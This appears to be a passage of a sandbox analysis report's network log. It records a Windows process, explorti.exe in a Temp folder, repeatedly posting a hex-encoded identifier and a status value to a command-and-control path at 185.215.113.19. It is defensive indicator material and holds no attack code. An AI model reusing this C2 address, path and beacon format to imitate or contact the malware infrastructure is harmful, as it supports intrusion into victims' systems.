Jul 26, 2024 13:50:22.921655893 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	59177	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:22.931495905 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:23.699060917 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	59178	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:23.827591896 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:24.576410055 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	59179	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:24.592468023 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:25.371934891 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	59180	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:25.497965097 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:26.307826042 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	59181	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:26.321392059 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:27.160875082 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	59182	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:27.290543079 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	59183	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:27.315213919 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:28.150091887 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	59184	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:28.276963949 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:29.086313963 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	63316	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:29.096559048 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:30.206147909 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	63319	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:30.331887960 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:31.155709028 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	63320	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:31.164287090 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:31.973201990 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	63321	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:32.083524942 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:32.851346016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	63322	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:32.863274097 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:33.639045954 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	63323	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:33.758281946 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:34.525290966 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	63324	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:34.535710096 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:35.287936926 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	63325	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:35.405616045 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:36.252291918 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	63326	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:36.262876987 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:37.192868948 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	63327	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:37.319844961 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:38.112552881 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	63328	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:38.121857882 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:38.944132090 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 13:50:39.185772896 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	63329	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:39.186875105 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:39.966262102 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	63331	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:39.977730989 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:40.841875076 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	63332	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:40.966125011 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:41.728416920 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	63333	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
